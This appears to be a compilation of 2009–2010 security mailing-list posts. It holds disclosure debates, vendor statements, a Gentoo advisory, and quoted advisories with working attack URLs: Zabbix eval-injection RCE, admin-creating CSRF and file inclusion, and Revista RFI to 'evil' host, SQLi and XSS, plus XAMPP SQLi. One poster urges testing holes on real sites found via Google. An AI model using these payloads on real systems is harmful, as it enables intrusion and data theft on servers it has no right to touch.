> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
>   



From: Eygene Ryabinkin rea-sec@codelabs.ru
Sent: Mon 9. Mar 2009 14:59
Good day.

Small addition to the advisory.

Tue, Mar 03, 2009 at 03:30:26PM +0000, ascii wrote:
> Zabbix 1.6.2 Frontend Multiple Vulnerabilities
[...]
> C) Local File Inclusion
> 
> If the user is authenticated, a Local File Inclusion vulnerability
> exists in file "locales.php".
> 
> The following URL exploits this vulnerability:
> 
> /locales.php?action=1&next=1&srclang=../validate&extlang=en
> 
> A string in the form of ".inc.php" is automatically appended to the
> local file path. Despite that its possible to include every target
> file truncating the filename using %00 (nullbyte):
> 
> /locales.php?next=1&srclang=../../../../../../../var/log/apache2/error_log%00%22
> 
> Nullbyte injection normally requires magic quotes off.
> 
> The vulnerable code is the following:
> 
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
> 
>  srclang=> array(T_ZBX_STR, O_OPT, NULL, NOT_EMPTY, isset({next})),
> [...]
> else if(isset($_REQUEST[next])){
> [...]
>  $fileFrom = include/locales/.$_REQUEST[srclang].".inc.php";
>   if(file_exists($fileFrom)){
>    include($fileFrom);
> 
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

The second variable, extlang, also can be used for the file inclusion
and before r6886 there was the programming error: patch for locales.php
r6593 included wrong validation condition for extlang:
-----
if(ereg(^[A-Za-z0-9_]+$, $_REQUEST[srclang]) && ($_REQUEST[extlang] != new))
-----
This was fixed in revision 6886 of branches/1.6.

> IV. DETECTION
> 
> Zabbix 1.6.2 and possibly earlier versions are vulnerable.
> 
> V. WORKAROUND
> 
> Update zabbix from svn the server (svn://svn.zabbix.com) or download
> version 1.6.3 when aviable.

Be sure to update to the r6886 or later, otherwise LFI will still
be possible.
-- 
Eygene


From: marianiscc@hotmail.com
Sent: Mon 13. Apr 2009 14:49
Discovered by Sirdarckcat from elhacker.net

------------------------------------------------------------------------
------------

Revista 1.1.2

http://php-revista.sourceforge.org

------------------------------------------------------------------------
------------

Revista is a simple spanish PHP magazine editor.

It was done by php.org.mx

It suffers of multiple vulnerabilities.

------------------------------------------------------------------------
------------

Remote File Inclusion

http://revista/estilo/[ANY STYLE]/index.php?adodb=http://evil/script

------------------------------------------------------------------------
------------

SQLi

http://revista/estilo/[ANY STYLE]/busqueda_tema.php?id_temas=-1+[SQL]

http://revista/estilo/[ANY STYLE]/busqueda.php?cadena=+[SQL]

http://revista/estilo/[ANY STYLE]/autor.php?id_autor=-1+[SQL]

http://revista/estilo/[ANY STYLE]/lista.php?email=+[SQL]

http://revista/estilo/[ANY STYLE]/articulo.php?id_articulo=-1+[SQL]

------------------------------------------------------------------------
------------

Credentials Bypass

http://revista/admin/index.php?ID_ADMIN=1&SUPER_ADMIN=1

------------------------------------------------------------------------
------------

XSS

http://revista/estilo/[ANY STYLE]/busqueda.php?cadena=<XSS>

http://revista/estilo/[ANY STYLE]/lista.php?email=<XSS>

------------------------------------------------------------------------
------------

Att.

Sirdarckcat


From: David Cantrell d.cantrell@outcometechnologies.com
Sent: Wed 13. May 2009 11:10
ascii wrote:

> FormMail 1.92 Multiple Vulnerabilities  ...

The authors own webpage about formmail mentions the NMS project at the 
bottom of the page, about which he says:

" While the free code found at my web site has not evolved much in
   recent years, the general programming practices and standards of CGI
   programs have. nms is an attempt by very active programmers in the
   Perl community to bring the *quality of code for these types of
   programs up to date and eliminate some of the bad programming
   practices and bugs* found in the existing Matts Script Archive code.

" I would highly recommend downloading the nms versions if you wish to
   learn CGI programming. The code you find at Matts Script Archive is
   not representative of how even I would code these days. *My interests
   and activies have moved on, however, and I just have not found the
   time to update all of my scripts*. One of the major reasons for this
   is that they work for many people. For this reason, I will continue to
   provide them to the public, but am also *pleased to make you aware of
   well-coded alternatives*. "

(my emphasis)

which to me looks like hes already addressed the issue by recommending 
that you use NMS formmail if you care about the quality of the code and 
any bugs.

-- 
David Cantrell
Outcome Technologies Ltd
BUPA House, 15-19 Bloomsbury Way, London WC1A 2BA
Registered in England, No: 3829851


From: ascii ascii@katamail.com
Sent: Wed 13. May 2009 13:05
David Cantrell wrote:
> which to me looks like hes already addressed the issue by recommending
> that you use NMS formmail if you care about the quality of the code and
> any bugs.

Dear David,

telling people to use a different software doesnt automatically fix
issues.

As we tested FormMail and want to warn people who deployed FormMail and
will deploy FormMail we posted an advisory for FormMail. Hope this open
your mind.

Bye,
ascii
ush.it


From: TK147@TheArchitect.com
Sent: Thu 28. May 2009 10:19
Well MaXe,

Thats very clever of you.  The "vendor" is rolling out a patch and new version to address the issues you have raised.  Not sure why you beleive this software, developed with untold manhours and effort, and then offered for a very modest fee, should be released without appropriate pirating protections.  ..and why you woouldnt warn them and subsequently countless innocents of the issue.  Isnt this what your site is about?

But thanks for raising the issue.

YouAllLookAlikeToMe


From: security@intern0t.net
Sent: Thu 28. May 2009 15:27
InterN0T is about Hacking. (if you have seen the introduction)

To me, Hacking is primarily about learning how and why things works as they do and if they can be changed (improved or abused in this case) and of course, sharing what you find out so the community can benefit from it! 

Afterwards, the developers can learn to code more secure (if you find a vulnerability). However, as we all might know: Security is a human factor and will always be a problem.

If i would contact the vendor as the first thing each time, how would people be able to learn from my research if its not even possible to get an earlier version where the vulnerability is included in?

Consider the alternatives (where i dont contact the vendor):
- Sell the vulnerability and know people will exploit people in the dark.
- Keep it to myself and exploit people.
- Share it among a little group of people and let them play/exploit with it.

Taking that into consideration makes public disclosure sound like a good option to me. :-)


All of the best,
MaXe

PS: Yes, i know people will exploit the issue / vulnerability in the public disclosure method, but in this case the dealer actually has a chance of fixing it and usually they will fix it faster because its a lot more urgent. 

It might stress them, but if they just made sure all function calls and user input (forms) were validated properly then i wouldnt have been able to find these holes in the first place ;-)


From: security curmudgeon jericho@attrition.org
Sent: Mon 20. Jul 2009 07:02
On Mon, 13 Apr 2009, marianiscc@hotmail.com wrote:

: Discovered by Sirdarckcat from elhacker.net

By discovered, you mean copied from the disclosure in September 2006 
right?

CVE-2006-4605 through CVE-2006-4608.



From: bill.carovano@citrix.com
Sent: Wed 29. Jul 2009 14:09
It should be noted that Citrix does not offer a feature or product called "XenCenterWeb."  At one time, this tool was included in the informal XenServer Resource Kit, to serve as an example of how to utilize the XenServer SDK and provide web-based consoles for specific types of administrators (where customers had such a need).  It was never a supported product or feature, and is in fact no longer available.

Bill Carovano
Sr. Director, Technical Product Marketing
Citrix Systems, Inc.


From: starchang@aten.com.tw
Sent: Wed 12. Aug 2009 10:34
This is Technical Support Team from ATEN.

Firstly, we appreciate all suggestions from Germany TUB LAB. Undoubtedly, guaranteeing our KVM products with robust security mechanism is our responsibility.

After discussing with Germany TUB LAB, we believe all security issues could be fixed by new Firmware version as below. 

- KH1508i/KH1516i v1.0.068 
- KN9108/KN9116 v1.1.109 
- PN9108 v1.8.179 

Scheduled Release Date is around Aug. 17, 2009 

Please visit our ATEN official site later.
http://www.aten.com/download/download.php

As for SSL Certificate, SSL Certificate import function has built into our KVM above with new firmware. We strongly suggest our KVM users to import their individual Certificate for advanced security concern. We will tell our KVM users how to generate their own Certificate by openssl tool in our product manual later.

Thanks,
ATEN SUPPORT


From: Glenn Rossi dragon@midatlanticbb.com
Sent: Mon 17. Aug 2009 11:56
I emailed you last week but did not receive a response.

What about units like the CN5000 that do not appear anywhere on your 
website?  We have two of these and are very concerned about the below-
referenced vulnerability.

Will a firmware upgrade for these units be forthcoming as well, or do 
we now own hundreds of dollars worth of paperweights?



> This is Technical Support Team from ATEN.
> 
> Firstly, we appreciate all suggestions from Germany TUB LAB.
> Undoubtedly, guaranteeing our KVM products with robust security
> mechanism is our responsibility. 
> 
> After discussing with Germany TUB LAB, we believe all security issues
> could be fixed by new Firmware version as below. 
> 
> - KH1508i/KH1516i v1.0.068 
> - KN9108/KN9116 v1.1.109 
> - PN9108 v1.8.179 
> 
> Scheduled Release Date is around Aug. 17, 2009 
> 
> Please visit our ATEN official site later.
> http://www.aten.com/download/download.php
> 
> As for SSL Certificate, SSL Certificate import function has built into
> our KVM above with new firmware. We strongly suggest our KVM users to
> import their individual Certificate for advanced security concern. We
> will tell our KVM users how to generate their own Certificate by
> openssl tool in our product manual later. 
> 
> Thanks,
> ATEN SUPPORT

--
Glenn Rossi
Operations/Security/Engineering
MidAtlantic BroadBand/Staffnet/Protel
------------------------------------------
voice:  (866) HELP-KIT ext 132

web:    http://www.midatlanticbb.com
email:  mailto:webmaster@midatlanticbb.com
fax:    (410) 727-8245
handle: dragon
------------------------------------------
MidAtlantic BroadBand
729 East Pratt St., Suite 440
Baltimore, MD USA 21202
------------------------------------------
Without security, freedom is not possible.
------------------------------------------




From: ign.sec@gmail.com
Sent: Wed 6. Jan 2010 09:55
One thing i forgot, a %00 must be included at the end of the LFI, IE: index.php?op=../../../../../../../etc/passwd%00 

And ?op is vulnerable to a xss attack, IE:
index.php?op=<script>alert(document.cookie)</script>

Ignacio.


From: MustLive mustlive@websecurity.com.ua
Sent: Thu 4. Feb 2010 22:01
Hello MaXe!

> Have you checked the newest aka (also known as) latest version which is
> actually: 1.7.3 ?

No, I didnt and there was a reason for it. All these 7 advisories were made
in 2009 (as it clear from Timeline which I made for all advisories). Only
now I sent them to Bugtraq. And that time XAMPP 1.7.1 was the latest
version.

Besides, in 2009 developer of XAMPP answered me (with thanks) only at one of
seven letters and he didnt mention about fixing any of holes which I found.
So there is possibility that all or some of these holes are still not fixed.

Im rarely sending advisories about vulnerabilities to Bugtraq. During
2007-2010 I sent only small amount of my advisories to Bugtraq. From the end
of 2006 I was sending all holes (http://securityvulns.ru/source15611.html)
which I found to securityvulns.ru (securityvulns.com) and 3APA3A, admin of
these sites, sometimes sent some of them to Bugtraq. Last month I drew
attention that he didnt write to Bugtraq about all these holes in XAMPP, so
I decided to write about them by myself :-).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

----- Original Message ----- 
From: advisories@intern0t.net
To: bugtraq@securityfocus.com ; MustLive
Sent: Monday, February 01, 2010 10:53 AM
Subject: Re: Multiple vulnerabilities in XAMPP (advisory #7)


Hi MustLive

Have you checked the newest aka (also known as) latest version which is
actually: 1.7.3 ?

Link: http://www.apachefriends.org/en/xampp-windows.html


Best regards,
MaXe

On January 28, 2010 at 11:55 PM MustLive <mustlive@websecurity.com.ua>
wrote:

> Hello Bugtraq!
>
> I am continue informing you about multiple vulnerabilities in XAMPP.
>
> -----------------------------
> Advisory #7
> -----------------------------
> CSRF, SQL Injection and Full path disclosure vulnerabilities in XAMPP
> -----------------------------
> URL: http://websecurity.com.ua/3285/
> -----------------------------
> Timeline:
>
> 27.06.2009 - found the vulnerabilities.
> 01.07.2009 - announced at my site.
> 02.07.2009 - informed developers.
> 08.08.2009 - disclosed at my site.
> -----------------------------
> Details:
>
> These are Cross-Site Request Forgery, SQL Injection and Full path
> disclosure
> vulnerabilities.
>
> CSRF:
>
> http://site/xampp/cds-fpdf.php
>
> Its possible to delete or add data in test table (as via CSRF, and as via
> Insufficient Authorization vulnerabilities). And also to conduct SQL
> Injection via CSRF attacks.
>
> SQL Injection:
>
> http://site/xampp/cds-fpdf.php?action=del&id=-1%20or%201=1 (register
> globals
> on)
>
> http://site/xampp/cds-fpdf.php?interpret=1&titel=1&jahr=1),(version(),1,1
>
> http://site/xampp/cds-fpdf.php?interpret=1&titel=,1,1),(version(),1,1)/*
> (mq off)
>
> http://site/xampp/cds-fpdf.php?titel=1&interpret=,1),(version(),1,1)/*
> (mq
> off)
>
> Attack is possible during access to admin panel (via Insufficient
> Authorization), or via CSRF.
>
> Full path disclosure:
>
> http://site/xampp/external/ps/draw.php
> http://site/xampp/external/ps/hyperlinks.php
> http://site/xampp/external/ps/image.php
> http://site/xampp/external/ps/overprint.php
> http://site/xampp/external/ps/ps.php?submit=OK
> http://site/xampp/external/ps/shading.php
> http://site/xampp/external/ps/spotcolor.php
> http://site/xampp/external/ps/text.php
> http://site/xampp/special/ps/draw.php
> http://site/xampp/special/ps/hyperlinks.php
> http://site/xampp/special/ps/image.php
> http://site/xampp/special/ps/overprint.php
> http://site/xampp/special/ps/ps.php?submit=OK
> http://site/xampp/special/ps/shading.php
> http://site/xampp/special/ps/spotcolor.php
> http://site/xampp/special/ps/text.php
>
> Vulnerable are XAMPP 1.6.8 and previous versions. And potentially next
> versions (including last version XAMPP 1.7.1).
>
> -----------------------------
>
> Best wishes & regards,
> MustLive
> Administrator of Websecurity web site
> http://websecurity.com.ua


From: MustLive mustlive@websecurity.com.ua
Sent: Sat 6. Feb 2010 23:56
Hello Sebastien!

You can confirm it by yourself. Just find a site on XAMPP (Google can help
you with it) and check the holes using PoCs which I provided.

> and what target of xampp is it ? win32 ? linux ?

As far as I remember last year when I found all these vulnerabilities in
XAMPP, it was XAMPP on Windows servers on all those sites where I found
these holes.

In 99% of cases Im researching vulnerabilities in the Web at real sites,
not at localhost (at localhost I can check for holes only in software which
I use). And I had never used XAMPP (or WAMPP or LAMPP) and I checked all
these holes at real web sites. So in all my advisories I wrote "Vulnerable
are XAMPP 1.6.8 and previous versions", because maximum version which I
found was 1.6.8. And it was quite possible that version 1.7.1 (last version
at that time) was also vulnerable, so I mentioned about it in my advisories.
And XAMPP developers didnt refute existence of vulnerabilities in 1.7.0 and
1.7.1, when I informed them, and didnt answer if they fixed the holes (so
its possible that these holes are still not fixed).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

----- Original Message ----- 
From: S?bastien H?nar?s
To: MustLive
Cc: advisories@intern0t.net ; bugtraq@securityfocus.com
Sent: Friday, February 05, 2010 1:19 AM
Subject: Re: Multiple vulnerabilities in XAMPP (advisory #7)


Hello people, can a secondary source confirm the vuln please ?
and what target of xampp is it ? win32 ? linux ?


2010/2/4 MustLive <mustlive@websecurity.com.ua>

Hello MaXe!


Have you checked the newest aka (also known as) latest version which is
actually: 1.7.3 ?


No, I didnt and there was a reason for it. All these 7 advisories were made
in 2009 (as it clear from Timeline which I made for all advisories). Only
now I sent them to Bugtraq. And that time XAMPP 1.7.1 was the latest
version.

Besides, in 2009 developer of XAMPP answered me (with thanks) only at one of
seven letters and he didnt mention about fixing any of holes which I found.
So there is possibility that all or some of these holes are still not fixed.

Im rarely sending advisories about vulnerabilities to Bugtraq. During
2007-2010 I sent only small amount of my advisories to Bugtraq. From the end
of 2006 I was sending all holes (http://securityvulns.ru/source15611.html)
which I found to securityvulns.ru (securityvulns.com) and 3APA3A, admin of
these sites, sometimes sent some of them to Bugtraq. Last month I drew
attention that he didnt write to Bugtraq about all these holes in XAMPP, so
I decided to write about them by myself :-).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua


From: lars@enomaly.com
Sent: Tue 16. Feb 2010 15:39
The reported issue DOES NOT AFFECT ANY CURRENT ENOMALY PRODUCT.  Our current products are Enomaly ECP Service Provider Edition and Enomaly ECP High Assurance Edition, and neither utilizes the "vmfeed" module.

Specifically, the "vmfeed" module has not been utilized in any version of our products released since the initial release of Enomaly ECP Service Provider Edition in June 2009.  The "vmfeed" module was utilized only in our previous-generation "Community Edition" product, which has been deprecated and withdrawn from distribution.  Enomaly ECP Service Provider Edition is a completely different product from the old Community Edition.

As a result, since the Community Edition product is deprecated and has been withdrawn, Enomaly has not investigated this reported issue.

Further information on the differences between the deprecated Community Edition technology and our current Service Provider Edition technology can be found at http://src.enomaly.com.

Lars-Erik Forsberg, VP Delivery
Enomaly Inc.


From: dan.j.rosenberg@gmail.com
Sent: Fri 5. Mar 2010 12:10
Apparently Bugtraq doesnt like attachments.  The patches are available as attachments to the archived Full-Disclosure posting, at:

http://seclists.org/fulldisclosure/2010/Mar/122


From: Andrew Morum amorum@brendata.co.uk
Sent: Thu 3. Jun 2010 15:57
Not sure, phprunner incorporates this doesnt it? 

-----Original Message-----
From: Alex Legler [mailto:a3li@gentoo.org] 
Sent: 02 June 2010 22:18
To: gentoo-announce@gentoo.org
Cc: bugtraq@securityfocus.com; full-disclosure@lists.grok.org.uk;
security-alerts@linuxsecurity.com
Subject: [ GLSA 201006-13 ] Smarty: Multiple vulnerabilities

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=

Gentoo Linux Security Advisory                           GLSA 201006-13=

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=

                                            http://security.gentoo.org/=

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=


  Severity: Normal
     Title: Smarty: Multiple vulnerabilities
      Date: June 02, 2010
      Bugs: #212147, #243856, #270494
        ID: 201006-13

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=


Synopsis
=3D=3D=3D=3D=3D=3D=3D=3D

Multiple vulnerabilities in the Smarty template engine might allow
remote attackers to execute arbitrary PHP code.

Background
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Smarty is a template engine for PHP.

Affected packages
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

    -------------------------------------------------------------------=

     Package         /  Vulnerable  /                       Unaffected
    -------------------------------------------------------------------=

  1  dev-php/smarty      < 2.6.23                            >=3D 2.6.2=
3

Description
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Multiple vulnerabilities have been discovered in Smarty:

* The vendor reported that the modifier.regex_replace.php plug-in
  contains an input sanitation flaw related to the ASCII NUL character
  (CVE-2008-1066).

* The vendor reported that the _expand_quoted_text() function in
  libs/Smarty_Compiler.class.php contains an input sanitation flaw via
  multiple vectors (CVE-2008-4810, CVE-2008-4811).

* Nine:Situations:Group::bookoo reported that the
  smarty_function_math() function in libs/plugins/function.math.php
  contains input sanitation flaw (CVE-2009-1669).

Impact
=3D=3D=3D=3D=3D=3D

These issues might allow a remote attacker to execute arbitrary PHP
code.

Workaround
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

There is no known workaround at this time.

Resolution
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

All Smarty users should upgrade to an unaffected version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=3Ddev-php/smarty-2.6.23"

NOTE: This is a legacy GLSA. Updates for all affected architectures are=

available since June 2, 2009. It is likely that your system is already
no longer affected by this issue.

References
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

  [ 1 ] CVE-2008-1066
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-1066
  [ 2 ] CVE-2008-4810
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-4810
  [ 3 ] CVE-2008-4811
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-4811
  [ 4 ] CVE-2009-1669
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2009-1669

Availability
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-201006-13.xml

Concerns?
=3D=3D=3D=3D=3D=3D=3D=3D=3D

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.

License
=3D=3D=3D=3D=3D=3D=3D

Copyright 2010 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.5


The information contained in this email is intended for the personal an=
d confidential use
of the addressee only. It may also be privileged information. If you ar=
e not the intended
recipient then you are hereby notified that you have received this docu=
ment in error and
that any review, distribution or copying of this document is strictly p=
rohibited. If you have 
received  this communication in error, please notify Brendata immediate=
ly on: 

+44 (0)1268 466100, or email technical@brendata.co.uk 

Brendata (UK) Ltd
Nevendon Hall, Nevendon Road, Basildon, Essex. SS13 1BX  UK
Registered Office as above. Registered in England No. 2764339

See our current vacancies at www.brendata.co.uk


From: security curmudgeon jericho@attrition.org
Sent: Thu 1. Jul 2010 19:16
On Sat, 12 Jun 2010, info@securitylab.ir wrote:

: #################################################################  
: # Securitylab.ir  
: #################################################################  
: # Application Info:  
: # Name: Cherokee Web Server
: # Version: 0.5.3
: # Download: http://mirror.aarnet.edu.au/pub/cherokee/windows/Cherokee-setup-0.5.3.exe
: #################################################################  

: [Directory Traversal]:
: http://127.0.0.1/%5C../%5C../%5C../boot.ini%20

This is essentially CVE-2009-3902, just encoding one char.

: [Remote Source Disclosure]:
: http://127.0.0.1:80/file.html::$DATA
: 
: http://127.0.0.1/index.htm%20 

Did you try these on something other than HTML? Did it work for .php or 
.asp for example?


From: scott.switzer@openx.org
Sent: Wed 28. Jan 2009 16:34
OpenX has fixed all of the vulnerabilities, and will release new versions of v2.4 and v2.6, after the QA cycle, in the next 24-48 hours.

Scott Switzer
OpenX Community Leader


From: =?ISO-8859-1?Q?Roberto_Mu=F1oz_Fernandez?= robertomf@fujitsu.es
Sent: Fri 6. Mar 2009 00:42
Vulnerability A) confirmed in zabbix 1.4.* for example in..


http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort[%22.phpinfo().%22]=1
<http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort%5B%22.phpinfo%28%29.%22%5D=1>
<http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort%5B%22.phpinfo%28%29.%22%5D=1>
> Zabbix 1.6.2 Frontend Multiple Vulnerabilities
>
>  Name              Multiple Vulnerabilities in Zabbix Frontend
>  Systems Affected  Zabbix 1.6.2 and possibly earlier versions
>  Severity          High
>  Impact (CVSSv2)   High 9.7/10, vector: (AV:N/AC:L/Au:N/C:P/I:C/A:C)
>  Vendor            http://www.zabbix.com/
>  Advisory          http://www.ush.it/team/ush/hack-zabbix_162/adv.txt
>  Authors           Antonio "s4tan" Parata (s4tan AT ush DOT it)
>                    Francesco "ascii" Ongaro (ascii AT ush DOT it)
>                    Giovanni "evilaliv3" Pellerano (evilaliv3 AT
>                    digitalbullets DOT org)
>  Date              20090303
>
> I. BACKGROUND
>
> >From the Zabbix web site: "ZABBIX offers advanced monitoring, alerting
> and visualization features today which are missing in other monitoring
> systems, even some of the best commercial ones".
>
> II. DESCRIPTION
>
> Multiple Vulnerabilities exist in Zabbix front end software.
>
> III. ANALYSIS
>
> Summary:
>
>  A) Remote Code Execution
>  B) Cross Site Request Forgery
>  C) Local File Inclusion
>
> A) Remote Code Execution
>
> A Remote Code Execution issue has been found in Zabbix version
> 1.6.2 and no authentication is required in order to exploit this
> vulnerability. The Magic Quotes must be off in order to exploit
> this vulnerability, however this feature will not be supported
> starting with PHP 6.0 (ref. http://it2.php.net/magic_quotes).
>
> Zabbix has a security feature that parses all incoming input for
> possible bad chars with the help of the function check_fields() defined
> in "include/validate.inc.php". The issue we have discovered is contained
> in this input validation code.
>
> Pages define an array of every used variable that derives from external
> (GPC) input. An example of the mechanism is the following:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> $fields=array(
>  "config"=>     array(T_ZBX_INT, O_OPT, P_SYS, IN("0,1"), NULL),
>  // actions
>  "groupid"=>    array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL),
>  "hostid"=>     array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL),
>  "start"=>      array(T_ZBX_INT, O_OPT, P_SYS, BETWEEN(0,65535)."({}%".
>                 PAGE_SIZE."==0)", NULL),
>  "next"=>       array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL),
>  "prev"=>       array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL),
>  // filter
>  "filter_rst"=> array(T_ZBX_INT, O_OPT, P_SYS, IN(array(0,1)), NULL),
>  "filter_set"=> array(T_ZBX_STR, O_OPT, P_SYS, null, NULL),
>  "userid"=> array(T_ZBX_INT, O_OPT, P_SYS, DB_ID, NULL),
>  filter_timesince=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL),
>  filter_timetill=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL),
>  //ajax
>  favobj=>     array(T_ZBX_STR, O_OPT, P_ACT, NULL, NULL),
>  favid=>      array(T_ZBX_STR, O_OPT, P_ACT, NOT_EMPTY,
>                 isset({favobj})),
>  state=>      array(T_ZBX_INT, O_OPT, P_ACT, NOT_EMPTY,
>                 isset({favobj}) && ("filter"=={favobj})),
> );
>
> check_fields($fields);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> After the definition of the "$fields" array all the variables are
> checked by the function check_fields().
>
> The main step of the check_fields() function is:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> foreach($fields as $field => $checks){
>  $err |= check_field($fields, $field, $checks);
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> Following the check_field() function we have identified that the
> functions main steps are the creation of some local variables using
> list() and a consequent call of calc_exp() (which resides in the same
> file).
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> list($type, $opt, $flags, $validation, $exception) = $checks;
> [...]
> $except=calc_exp($fields,$field,$exception);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> calc_exp()s code is:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> function calc_exp($fields,$field,$expression){
>  if(zbx_strstr($expression,"{}") && !isset($_REQUEST[$field]))
>   return FALSE;
>
>  if(zbx_strstr($expression,"{}") && !is_array($_REQUEST[$field]))
>   $expression = str_replace("{}",$_REQUEST[".$field."],$expression);
>
>  if(zbx_strstr($expression,"{}") && is_array($_REQUEST[$field])){
>  foreach($_REQUEST[$field] as $key => $val){
>    $expression2 =
> str_replace("{}",$_REQUEST[".$field."][".$key."],$expression);
>    if(calc_exp2($fields,$field,$expression2)==FALSE)
>     return FALSE;
>   }
>   return TRUE;
>  }
>  return calc_exp2($fields,$field,$expression);
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> As you can see we should be able to call calc_exp2(), our vulnerable
> function, avoiding to fall into a breach that exits (returns) from the
> function.
>
> Investigating calc_exp2()s source:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> function calc_exp2($fields,$field,$expression){
>  foreach($fields as $f => $checks){
>   $expression = str_replace({.$f.},$_REQUEST[".$f."],$expression);
>  }
>
>  $expression = trim($expression,"& ");
>  $exec = "return (".$expression.") ? 1 : 0;";
>
>  $ret = eval($exec);
>
>  return $ret;
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> We have reached a function that contains an eval() call of the "$exec"
> variable that contains user controlled data.
>
> To better understand how the executed string is composed we must find
> a disposable page. Thanks to "locales.php" we can reach this function
> without any authentication.
>
> Now if we try to execute the query:
>
> /locales.php?download&langTo&extlang[AAA]=1
>
> The value of $exec is the following:
>
> return (($_REQUEST["extlang"]["AAA"]!=)) ? 1 : 0;
>
> Some constraints exist: the injected payload must comply with the
> calc_exp()s requirements in order to call calc_exp2() and the created
> string must be syntactically correct. What we can do is to play with
> the key values of the array. An intermediate test was:
>
> /locales.php?download&langTo&extlang[AAA"];phpinfo();]=1
>
> But it generates a syntax error. After some thinking the problem was
> solved in this way:
>
> /locales.php?download&langTo&extlang[".phpinfo()."]=1
>
> Now the syntax is correct and the payload gets executed.
>
> B) Cross Site Request Forgery
>
> A CSRF vulnerability exists in file "users.php". If the admin visits the
> following link:
>
> /users.php?config=0&save&alias=alias&name=foo&surname=foo&user_type=3&
> lang=lang&theme=theme&autologout=0&url=url&refresh=0
>
> A user with admin permissions is created.
>
> C) Local File Inclusion
>
> If the user is authenticated, a Local File Inclusion vulnerability
> exists in file "locales.php".
>
> The following URL exploits this vulnerability:
>
> /locales.php?action=1&next=1&srclang=../validate&extlang=en
>
> A string in the form of ".inc.php" is automatically appended to the
> local file path. Despite that its possible to include every target
> file truncating the filename using %00 (nullbyte):
>
> /locales.php?next=1&srclang=../../../../../../../var/log/apache2/error_log%00%22
>
> Nullbyte injection normally requires magic quotes off.
>
> The vulnerable code is the following:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
>  srclang=> array(T_ZBX_STR, O_OPT, NULL, NOT_EMPTY, isset({next})),
> [...]
> else if(isset($_REQUEST[next])){
> [...]
>  $fileFrom = include/locales/.$_REQUEST[srclang].".inc.php";
>   if(file_exists($fileFrom)){
>    include($fileFrom);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> IV. DETECTION
>
> Zabbix 1.6.2 and possibly earlier versions are vulnerable.
>
> V. WORKAROUND
>
> Update zabbix from svn the server (svn://svn.zabbix.com) or download
> version 1.6.3 when aviable.
>
> VI. VENDOR RESPONSE
>
> Vendor will fix all the exposed vulnerabilities in Zabbix 1.6.3.
>
> VII. CVE INFORMATION
>
> No CVE at this time.
>
> VIII. DISCLOSURE TIMELINE
>
> 20081215 Bug discovered
> 20090116 Initial vendor contact
